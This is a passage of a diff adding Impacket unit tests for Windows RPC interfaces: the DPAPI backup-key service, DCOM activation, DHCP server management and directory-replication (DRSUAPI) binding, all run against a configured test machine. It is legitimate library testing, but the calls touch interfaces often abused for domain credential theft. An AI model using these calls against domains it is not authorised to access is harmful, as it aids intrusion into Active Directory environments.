+from impacket.dcerpc.v5.dtypes import NULL
+
+try:
+    from cryptography import x509
+    from cryptography.hazmat.backends import default_backend
+except ImportError:
+    print("In order to run these test cases you need the cryptography package")
+
+
+class BKRPTests(DCERPCTests):
+
+    iface_uuid = bkrp.MSRPC_UUID_BKRP
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\protected_storage]"
+    authn = True
+    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+    data_in = b"Huh? wait wait, let me, let me explain something to you. Uh, I am not Mr. Lebowski; " \
+              b"you're Mr. Lebowski. I'm the Dude. So that's what you call me. You know, uh, That, or uh, " \
+              b"his Dudeness, or uh Duder, or uh El Duderino, if, you know, you're not into the whole brevity thing--uh."
+
+    def test_BackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID(self):
+        dce, rpctransport = self.connect()
+        request = bkrp.BackuprKey()
+        request['pguidActionAgent'] = bkrp.BACKUPKEY_BACKUP_GUID
+        request['pDataIn'] = self.data_in
+        request['cbDataIn'] = len(self.data_in)
+        request['dwParam'] = 0
+
+        resp = dce.request(request)
+
+        resp.dump()
+
+        wrapped = bkrp.WRAPPED_SECRET()
+        wrapped.fromString(b''.join(resp['ppDataOut']))
+        wrapped.dump()
+
+        request = bkrp.BackuprKey()
+        request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID
+        request['pDataIn'] = b''.join(resp['ppDataOut'])
+        request['cbDataIn'] = resp['pcbDataOut']
+        request['dwParam'] = 0
+
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(self.data_in, b''.join(resp['ppDataOut']))
+
+    def test_hBackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID(self):
+        dce, rpctransport = self.connect()
+
+        resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_BACKUP_GUID, self.data_in)
+        resp.dump()
+
+        wrapped = bkrp.WRAPPED_SECRET()
+        wrapped.fromString(b''.join(resp['ppDataOut']))
+        wrapped.dump()
+
+        resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_RESTORE_GUID, b''.join(resp['ppDataOut']))
+        resp.dump()
+
+        self.assertEqual(self.data_in, b''.join(resp['ppDataOut']))
+
+    def test_BackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID_WIN2K(self):
+        dce, rpctransport = self.connect()
+        request = bkrp.BackuprKey()
+        request['pguidActionAgent'] = bkrp.BACKUPKEY_BACKUP_GUID
+        request['pDataIn'] = self.data_in
+        request['cbDataIn'] = len(self.data_in)
+        request['dwParam'] = 0
+
+        resp = dce.request(request)
+        resp.dump()
+
+        wrapped = bkrp.WRAPPED_SECRET()
+        wrapped.fromString(b''.join(resp['ppDataOut']))
+        wrapped.dump()
+
+        request = bkrp.BackuprKey()
+        request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID_WIN2K
+        request['pDataIn'] = b''.join(resp['ppDataOut'])
+        request['cbDataIn'] = resp['pcbDataOut']
+        request['dwParam'] = 0
+
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(self.data_in, b''.join(resp['ppDataOut']))
+
+    def test_hBackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID_WIN2K(self):
+        dce, rpctransport = self.connect()
+
+        resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_BACKUP_GUID, self.data_in)
+        resp.dump()
+
+        wrapped = bkrp.WRAPPED_SECRET()
+        wrapped.fromString(b''.join(resp['ppDataOut']))
+        wrapped.dump()
+
+        resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_RESTORE_GUID_WIN2K, b''.join(resp['ppDataOut']))
+        resp.dump()
+
+        self.assertEqual(self.data_in, b''.join(resp['ppDataOut']))
+
+    def test_BackuprKey_BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID(self):
+        dce, rpctransport = self.connect()
+        request = bkrp.BackuprKey()
+        request['pguidActionAgent'] = bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID
+        request['pDataIn'] = NULL
+        request['cbDataIn'] = 0
+        request['dwParam'] = 0
+
+        resp = dce.request(request)
+        resp.dump()
+
+        #print "LEN: %d" % len(''.join(resp['ppDataOut']))
+        #hexdump(''.join(resp['ppDataOut']))
+
+        cert = x509.load_der_x509_certificate(b''.join(resp['ppDataOut']), default_backend())
+        print(cert.subject)
+        print(cert.issuer)
+        print(cert.signature)
+
+    def test_hBackuprKey_BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID(self):
+        dce, rpctransport = self.connect()
+        request = bkrp.BackuprKey()
+        request['pguidActionAgent'] = bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID
+        request['pDataIn'] = NULL
+        request['cbDataIn'] = 0
+        request['dwParam'] = 0
+
+        resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID, NULL)
+        resp.dump()
+
+        #print "LEN: %d" % len(''.join(resp['ppDataOut']))
+        #hexdump(''.join(resp['ppDataOut']))
+
+        cert = x509.load_der_x509_certificate(b''.join(resp['ppDataOut']), default_backend())
+        print(cert.subject)
+        print(cert.issuer)
+        print(cert.signature)
+
+
+@pytest.mark.remote
+class BKRPTestsSMBTransport(BKRPTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class BKRPTestsSMBTransport64(BKRPTestsSMBTransport):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_dcomrt.py b/tests/dcerpc/test_dcomrt.py
new file mode 100644
index 0000000..2559f04
--- /dev/null
+++ b/tests/dcerpc/test_dcomrt.py
@@ -0,0 +1,302 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   Since DCOM is more high level, I'll always use the helper classes
+#   ServerAlive
+#   ServerAlive2
+#   ComplexPing
+#   SimplePing
+#   RemoteCreateInstance
+#   ResolveOxid
+#   ResolveOxid2
+#   RemoteActivation
+#   RemRelease
+#   RemoteGetClassObject
+#
+from __future__ import division
+from __future__ import print_function
+
+import pytest
+import unittest
+from tests import RemoteTestCase
+from tests.dcerpc import DCERPCTests
+
+from impacket import ntlm
+from impacket.uuid import string_to_bin, uuidtup_to_bin
+from impacket.dcerpc.v5 import dcomrt
+from impacket.dcerpc.v5.dcom import scmp, vds, oaut, comev
+
+
+class DCOMTests(DCERPCTests):
+
+    string_binding = r"ncacn_ip_tcp:{0.machine}"
+    authn = True
+    authn_level = ntlm.NTLM_AUTH_PKT_INTEGRITY
+
+    def test_ServerAlive(self):
+        dce, rpctransport = self.connect()
+        objExporter = dcomrt.IObjectExporter(dce)
+        objExporter.ServerAlive()
+
+    def test_ServerAlive2(self):
+        dce, rpctransport = self.connect()
+        objExporter = dcomrt.IObjectExporter(dce)
+        objExporter.ServerAlive2()
+
+    def test_ComplexPing_SimplePing(self):
+        dce, rpctransport = self.connect()
+        objExporter = dcomrt.IObjectExporter(dce)
+        resp = objExporter.ComplexPing()
+        objExporter.SimplePing(resp['pSetId'])
+
+    def test_ResolveOxid(self):
+        dce, rpctransport = self.connect()
+        scm = dcomrt.IRemoteSCMActivator(dce)
+        iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem)
+        objExporter = dcomrt.IObjectExporter(dce)
+        objExporter.ResolveOxid(iInterface.get_oxid(), (7,))
+
+    def test_ResolveOxid2(self):
+        dce, rpctransport = self.connect()
+        scm = dcomrt.IActivation(dce)
+        iInterface = scm.RemoteActivation(comev.CLSID_EventSystem, comev.IID_IEventSystem)
+        objExporter = dcomrt.IObjectExporter(dce)
+        objExporter.ResolveOxid2(iInterface.get_oxid(), (7,))
+
+    def test_RemoteActivation(self):
+        dce, rpctransport = self.connect()
+        scm = dcomrt.IActivation(dce)
+        scm.RemoteActivation(comev.CLSID_EventSystem, comev.IID_IEventSystem)
+
+    def test_RemoteGetClassObject(self):
+        dce, rpctransport = self.connect()
+        IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046', '0.0'))
+        scm = dcomrt.IRemoteSCMActivator(dce)
+        iInterface = scm.RemoteGetClassObject(comev.CLSID_EventSystem, IID_IClassFactory)
+        iInterface.RemRelease()
+
+    def test_RemoteCreateInstance(self):
+        dce, rpctransport = self.connect()
+
+        scm = dcomrt.IRemoteSCMActivator(dce)
+        scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem)
+
+    @pytest.mark.skip
+    def test_scmp(self):
+        dce, rpctransport = self.connect()
+
+        scm = dcomrt.IRemoteSCMActivator(dce)
+        iInterface = scm.RemoteCreateInstance(scmp.CLSID_ShadowCopyProvider, scmp.IID_IVssSnapshotMgmt)
+        iVssSnapshotMgmt = scmp.IVssSnapshotMgmt(iInterface)
+        # iVssSnapshotMgmt.RemRelease()
+
+        iVssEnumMgmtObject = iVssSnapshotMgmt.QueryVolumesSupportedForSnapshots(scmp.IID_ShadowCopyProvider, 31)
+        iVssEnumMgmtObject.Next(10)
+        # iVssEnumObject = iVssSnapshotMgmt.QuerySnapshotsByVolume('C:\x00')
+
+        # iProviderMgmtInterface = iVssSnapshotMgmt.GetProviderMgmtInterface()
+        # enumObject =iProviderMgmtInterface.QueryDiffAreasOnVolume('C:\x00')
+        # iVssSnapshotMgmt.RemQueryInterface(1, (scmp.IID_IVssEnumMgmtObject,))
+        # iVssSnapshotMgmt.RemAddRef()
+        # iVssSnapshotMgmt = dcom.hRemoteCreateInstance(dce, scmp.CLSID_ShadowCopyProvider, dcom.IID_IRemUnknown)
+
+        # iVssEnumMgmtObject.RemQueryInterface(1, (scmp.IID_IVssEnumMgmtObject,))
+
+    @pytest.mark.skip
+    def test_vds(self):
+        dce, rpctransport = self.connect()
+
+        # objExporter = dcom.IObjectExporter(dce)
+        # objExporter.ComplexPing()
+        # objExporter.ComplexPing()
+
+        scm = dcomrt.IRemoteSCMActivator(dce)
+        iInterface = scm.RemoteCreateInstance(vds.CLSID_VirtualDiskService, vds.IID_IVdsServiceInitialization)
+        serviceInitialization = vds.IVdsServiceInitialization(iInterface)
+        serviceInitialization.Initialize()
+
+        iInterface = serviceInitialization.RemQueryInterface(1, (vds.IID_IVdsService,))
+        vdsService = vds.IVdsService(iInterface)
+
+        resp = vdsService.IsServiceReady()
+        while resp['ErrorCode'] == 1:
+            print("Waiting.. ")
+            resp = vdsService.IsServiceReady()
+
+        vdsService.WaitForServiceReady()
+        vdsService.GetProperties()
+        enumObject = vdsService.QueryProviders(1)
+        interfaces = enumObject.Next(1)
+        iii = interfaces[0].RemQueryInterface(1, (vds.IID_IVdsProvider,))
+        provider = vds.IVdsProvider(iii)
+        resp = provider.GetProperties()
+        resp.dump()
+
+    @pytest.mark.skip
+    def test_oaut(self):
+        dce, rpctransport = self.connect()
+        IID_IDispatch = string_to_bin('00020400-0000-0000-C000-000000000046')
+        scm = dcomrt.IRemoteSCMActivator(dce)
+        iInterface = scm.RemoteCreateInstance(string_to_bin('4E14FBA2-2E22-11D1-9964-00C04FBBB345'), IID_IDispatch)
+        iDispatch = oaut.IDispatch(iInterface)
+        kk = iDispatch.GetTypeInfoCount()
+        kk.dump()
+        iTypeInfo = iDispatch.GetTypeInfo()
+        iTypeInfo.GetTypeAttr()
+
+    @pytest.mark.skip
+    def test_ie(self):
+        dce, rpctransport = self.connect()
+        scm = dcomrt.IRemoteSCMActivator(dce)
+
+        #iInterface = scm.RemoteCreateInstance(string_to_bin('0002DF01-0000-0000-C000-000000000046'), ie.IID_WebBrowser)
+        iInterface = scm.RemoteCreateInstance(string_to_bin('72C24DD5-D70A-438B-8A42-98424B88AFB8'), dcomrt.IID_IRemUnknown)
+
+        #iDispatch = ie.IWebBrowser(iInterface)
+        #resp = iDispatch.GetIDsOfNames(('Navigate',))
+        #print(resp)
+
+        #iTypeInfo = iDispatch.GetTypeInfo()
+        #resp = iTypeInfo.GetTypeAttr()
+        #resp.dump()
+        #for i in range(0,resp['ppTypeAttr']['cFuncs']):
+            #resp = iTypeInfo.GetFuncDesc(i)
+            #resp.dump()
+            #resp2 = iTypeInfo.GetNames(resp['ppFuncDesc']['memid'])
+            #print resp2['rgBstrNames'][0]['asData']
+            #resp = iTypeInfo.GetDocumentation(resp['ppFuncDesc']['memid'])
+            #print(resp['pBstrName']['asData'])
+        #iEventSystem.get_EventObjectChangeEventClassID()
+        #print("ACA")
+        #iTypeInfo.RemRelease()
+        #iDispatch.RemRelease()
+
+
+@pytest.mark.remote
+class DCOMConnectionTests(RemoteTestCase, unittest.TestCase):
+
+    def setUp(self):
+        self.set_transport_config()
+
+    def test_RemQueryInterface(self):
+        dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain)
+        iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem)
+        iEventSystem = comev.IEventSystem(iInterface)
+        iEventSystem.RemQueryInterface(1, (comev.IID_IEventSystem,))
+        dcom.disconnect()
+
+    def test_RemRelease(self):
+        dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain)
+        iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem)
+        iEventSystem = comev.IEventSystem(iInterface)
+        iEventSystem.RemRelease()
+        dcom.disconnect()
+
+    @pytest.mark.skip
+    def test_comev(self):
+        dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
+        iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem)
+
+        #scm = dcomrt.IRemoteSCMActivator(dce)
+        
+        #iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem)
+        #iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem,oaut.IID_IDispatch)
+        iDispatch = oaut.IDispatch(iInterface)  # noqa
+        #scm = dcomrt.IRemoteSCMActivator(dce)
+        #resp = iDispatch.GetIDsOfNames(('Navigate\x00', 'ExecWB\x00'))
+        #resp.dump()
+        iEventSystem = comev.IEventSystem(iInterface)
+        iTypeInfo = iEventSystem.GetTypeInfo()
+        resp = iTypeInfo.GetTypeAttr()
+        #resp.dump()
+        for i in range(1,resp['ppTypeAttr']['cFuncs']):
+            resp = iTypeInfo.GetFuncDesc(i)
+            #resp.dump()
+            iTypeInfo.GetNames(resp['ppFuncDesc']['memid'])
+            iTypeInfo.GetDocumentation(resp['ppFuncDesc']['memid'])
+        #iEventSystem.get_EventObjectChangeEventClassID()
+        iEventSystem.RemRelease()
+        iTypeInfo.RemRelease()
+
+        objCollection = iEventSystem.Query('EventSystem.EventSubscriptionCollection', 'ALL')
+
+        objCollection.get_Count()
+
+        evnObj = objCollection.get_NewEnum()
+        for i in range(3):
+            iUnknown = evnObj.Next(1)[0]
+            es = iUnknown.RemQueryInterface(1, (comev.IID_IEventSubscription3,))
+            es = comev.IEventSubscription3(es)
+
+            #es.get_SubscriptionID()
+            print(es.get_SubscriptionName()['pbstrSubscriptionName']['asData'])
+            ##es.get_PublisherID()
+            #es.get_EventClassID()
+            #es.get_MethodName()
+            ##es.get_SubscriberCLSID()
+            #es.get_SubscriberInterface()
+            #es.get_PerUser()
+            #es.get_OwnerSID()
+            #es.get_Enabled()
+            ##es.get_Description()
+            ##es.get_MachineName()
+            ##es.GetPublisherProperty()
+            #es.GetPublisherPropertyCollection()
+            ##es.GetSubscriberProperty()
+            #es.GetSubscriberPropertyCollection()
+            #es.get_InterfaceID()
+            es.RemRelease()
+
+        objCollection = iEventSystem.Query('EventSystem.EventClassCollection', 'ALL')
+        objCollection.get_Count()
+
+        #objCollection.get_Item('EventClassID={D5978630-5B9F-11D1-8DD2-00AA004ABD5E}')
+        evnObj = objCollection.get_NewEnum()
+        for i in range(3):
+
+            iUnknown = evnObj.Next(1)[0]
+
+            ev = iUnknown.RemQueryInterface(1, (comev.IID_IEventClass2,))
+            ev = comev.IEventClass2(ev)
+
+            ev.get_EventClassID() 
+            #ev.get_EventClassName() 
+            #ev.get_OwnerSID() 
+            #ev.get_FiringInterfaceID() 
+            #ev.get_Description() 
+            #try:
+            #    ev.get_TypeLib() 
+            #except:
+            #    pass
+
+            #ev.get_PublisherID()
+            #ev.get_MultiInterfacePublisherFilterCLSID()
+            #ev.get_AllowInprocActivation()
+            #ev.get_FireInParallel()
+            ev.RemRelease()
+
+        print("="*80)
+
+        dcom.disconnect()
+        #eventSubscription.get_SubscriptionID()
+
+
+@pytest.mark.remote
+class DCOMTestsTCPTransport(DCOMTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class DCOMTestsTCPTransport(DCOMTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_dhcpm.py b/tests/dcerpc/test_dhcpm.py
new file mode 100644
index 0000000..2fc1469
--- /dev/null
+++ b/tests/dcerpc/test_dhcpm.py
@@ -0,0 +1,156 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)DhcpGetClientInfoV4
+#   DhcpV4GetClientInfo
+#   hDhcpEnumSubnetClientsV5
+#   hDhcpGetOptionValueV5
+# Not yet:
+#   DhcpGetSubnetInfo
+#   DhcpEnumSubnets
+#   DhcpGetOptionValue
+#   DhcpEnumOptionValues
+#   DhcpGetOptionValueV5
+#   DhcpEnumOptionValuesV5
+#   DhcpGetAllOptionValues
+#   DhcpEnumSubnetClientsV4
+#   DhcpEnumSubnetElementsV5
+#   DhcpEnumSubnetClientsVQ
+#
+from __future__ import division
+from __future__ import print_function
+
+import socket
+import struct
+import pytest
+import unittest
+from six import assertRaisesRegex
+
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import dhcpm
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException
+
+
+class DHCPMTests(DCERPCTests):
+    iface_uuid_v1 = dhcpm.MSRPC_UUID_DHCPSRV
+    iface_uuid_v2 = dhcpm.MSRPC_UUID_DHCPSRV2
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\dhcpserver]"
+    authn = True
+    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+    def test_DhcpGetClientInfoV4(self):
+        dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v1)
+        request = dhcpm.DhcpGetClientInfoV4()
+        request['ServerIpAddress'] = NULL
+        request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName
+        request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName
+        request['SearchInfo']['SearchInfo']['ClientName'] = self.serverName + "\0"
+        request.dump()
+
+        with assertRaisesRegex(self, DCERPCException, "ERROR_DHCP_JET_ERROR"):
+            dce.request(request)
+
+        #request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress
+        #request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress
+        #ip = struct.unpack("!I", socket.inet_aton(self.machine))[0]
+        #request['SearchInfo']['SearchInfo']['ClientIpAddress'] = ip
+        #request.dump()
+
+        #with assertRaisesRegex(self, DCERPCException, "ERROR_DHCP_JET_ERROR"):
+        #    dce.request(request)
+
+    def test_hDhcpGetClientInfoV4(self):
+        dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v1)
+
+        with assertRaisesRegex(self, DCERPCException, "ERROR_DHCP_JET_ERROR"):
+            dhcpm.hDhcpGetClientInfoV4(dce, dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName, self.serverName + "\0")
+
+        #ip = struct.unpack("!I", socket.inet_aton(self.machine))[0]
+        #with assertRaisesRegex(self, DCERPCException, "ERROR_DHCP_JET_ERROR"):
+        #    dhcpm.hDhcpGetClientInfoV4(dce, dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress, ip)
+
+    def test_DhcpV4GetClientInfo(self):
+        dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v2)
+        request = dhcpm.DhcpV4GetClientInfo()
+        request['ServerIpAddress'] = NULL
+        request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName
+        request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName
+        request['SearchInfo']['SearchInfo']['ClientName'] = self.serverName + "\0"
+        request.dump()
+
+        # The DHCP client is probably not created but if we received an invalid DHCP client error
+        # means the search info had no corresponding IPv4 lease records.
+        with assertRaisesRegex(self, DCERPCException, "ERROR_DHCP_INVALID_DHCP_CLIENT"):
+            dce.request(request)
+
+        #request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress
+        #request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress
+        #ip = struct.unpack("!I", socket.inet_aton(self.machine))[0]
+        #request['SearchInfo']['SearchInfo']['ClientIpAddress'] = ip
+        #request.dump()
+
+        #with assertRaisesRegex(self, DCERPCException, "ERROR_DHCP_INVALID_DHCP_CLIENT"):
+        #    dce.request(request)
+
+    def test_hDhcpEnumSubnetClientsV5(self):
+        dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v2)
+
+        with assertRaisesRegex(self, DCERPCException, "ERROR_NO_MORE_ITEMS"):
+            dhcpm.hDhcpEnumSubnetClientsV5(dce)
+
+    def test_hDhcpGetOptionValueV5(self):
+        dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v2)
+        netId = self.machine.split('.')[:-1]
+        netId.append('0')
+        subnet_id = struct.unpack("!I", socket.inet_aton('.'.join(netId)))[0]
+
+        with assertRaisesRegex(self, DCERPCException, "ERROR_DHCP_SUBNET_NOT_PRESENT"):
+            dhcpm.hDhcpGetOptionValueV5(dce, 3,
+                                        dhcpm.DHCP_FLAGS_OPTION_DEFAULT, NULL, NULL,
+                                        dhcpm.DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions,
+                                        subnet_id)
+
+
+@pytest.mark.remote
+@pytest.mark.skip(reason="Disabled in Windows Server 2008 onwards")
+class DHCPMTestsSMBTransport(DHCPMTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+@pytest.mark.skip(reason="Disabled in Windows Server 2008 onwards")
+class DHCPMTestsSMBTransport64(DHCPMTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+@pytest.mark.remote
+class DHCPMTestsTCPTransport(DHCPMTests, unittest.TestCase):
+    protocol = "ncacn_ip_tcp"
+    iface_uuid = dhcpm.MSRPC_UUID_DHCPSRV2
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class DHCPMTestsTCPTransport64(DHCPMTests, unittest.TestCase):
+    protocol = "ncacn_ip_tcp"
+    iface_uuid = dhcpm.MSRPC_UUID_DHCPSRV2
+    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+    
+    @pytest.mark.xfail(reason="NDRUNION without fields as in DhcpSubnetOptions is not implemented with NDR64")
+    def test_hDhcpGetOptionValueV5(self):
+        super(DHCPMTestsTCPTransport64, self).test_hDhcpGetOptionValueV5()
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_drsuapi.py b/tests/dcerpc/test_drsuapi.py
new file mode 100644
index 0000000..16e9cca
--- /dev/null
+++ b/tests/dcerpc/test_drsuapi.py
@@ -0,0 +1,460 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   DRSBind
+#   (h)DRSDomainControllerInfo
+#   (h)DRSCrackNames
+#   DRSGetNT4ChangeLog
+#   DRSVerifyName
+#   DRSGetNCChanges
+# Not yet:
+#   DRSUnBind
+#
+from __future__ import division
+from __future__ import print_function
+import pytest
+import unittest
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import drsuapi
+from impacket.dcerpc.v5.dtypes import NULL, LPWSTR
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+
+class DRSRTests(DCERPCTests):
+    iface_uuid = drsuapi.MSRPC_UUID_DRSUAPI
+    authn = True
+    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\lsass]"
+
+    def bind(self, dce):
+        request = drsuapi.DRSBind()
+        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
+        drs = drsuapi.DRS_EXTENSIONS_INT()
+        drs['cb'] = len(drs) #- 4
+        drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION
+        drs['SiteObjGuid'] = drsuapi.NULLGUID
+        drs['Pid'] = 0
+        drs['dwReplEpoch'] = 0
+        drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN
+        drs['ConfigObjGUID'] = drsuapi.NULLGUID
+        drs['dwExtCaps'] = 0
+        request['pextClient']['cb'] = len(drs.getData())
+        request['pextClient']['rgb'] = list(drs.getData())
+        resp = dce.request(request)
+
+        # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
+        # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
+        drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
+
+        # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
+        ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
+            len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
+        drsExtensionsInt.fromString(ppextServer)
+
+        if drsExtensionsInt['dwReplEpoch'] != 0:
+            # Different epoch, we have to call DRSBind again
+            drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
+            request['pextClient']['cb'] = len(drs.getData())
+            request['pextClient']['rgb'] = list(drs.getData())
+            resp = dce.request(request)
+
+        resp2 = drsuapi.hDRSDomainControllerInfo(dce,  resp['phDrs'], self.domain, 2)
+        return resp['phDrs'], resp2['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
+
+    def test_DRSBind(self):
+        dce, rpc_transport = self.connect()
+
+        request = drsuapi.DRSBind()
+        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
+        drs = drsuapi.DRS_EXTENSIONS_INT()
+        drs['cb'] = len(drs) - 4
+        drs['dwFlags'] = 0
+        drs['SiteObjGuid'] = drsuapi.NULLGUID
+        drs['Pid'] = 0x1234
+        drs['dwReplEpoch'] = 0
+        drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN
+        drs['ConfigObjGUID'] = drsuapi.NULLGUID
+        drs['dwExtCaps'] = 0
+        request['pextClient']['cb'] = len(drs)
+        request['pextClient']['rgb'] = list(drs.getData())
+        resp = dce.request(request)
+        resp.dump()
+
+        extension = drsuapi.DRS_EXTENSIONS_INT(b'\x00'*4 + b''.join(resp['ppextServer']['rgb'])+b'\x00'*4)
+        extension.dump()
+
+    def test_DRSDomainControllerInfo(self):
+        dce, rpc_transport = self.connect()
+        hDrs, DsaObjDest = self.bind(dce)
+
+        request = drsuapi.DRSDomainControllerInfo()
+        request['hDrs'] = hDrs
+        request['dwInVersion'] = 1
+
+        request['pmsgIn']['tag'] = 1
+        request['pmsgIn']['V1']['Domain'] = self.domain + '\x00'
+        request['pmsgIn']['V1']['InfoLevel'] = 1
+
+        resp = dce.request(request)
+        resp.dump()
+
+        request['pmsgIn']['V1']['InfoLevel'] = 2
+        resp = dce.request(request)
+        resp.dump()
+
+        request['pmsgIn']['V1']['InfoLevel'] = 3
+        resp = dce.request(request)
+        resp.dump()
+
+        request['pmsgIn']['V1']['InfoLevel'] = 0xffffffff
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hDRSDomainControllerInfo(self):
+        dce, rpc_transport = self.connect()
+        hDrs, DsaObjDest = self.bind(dce)
+
+        resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 1)
+        resp.dump()
+
+        resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 2)
+        resp.dump()
+
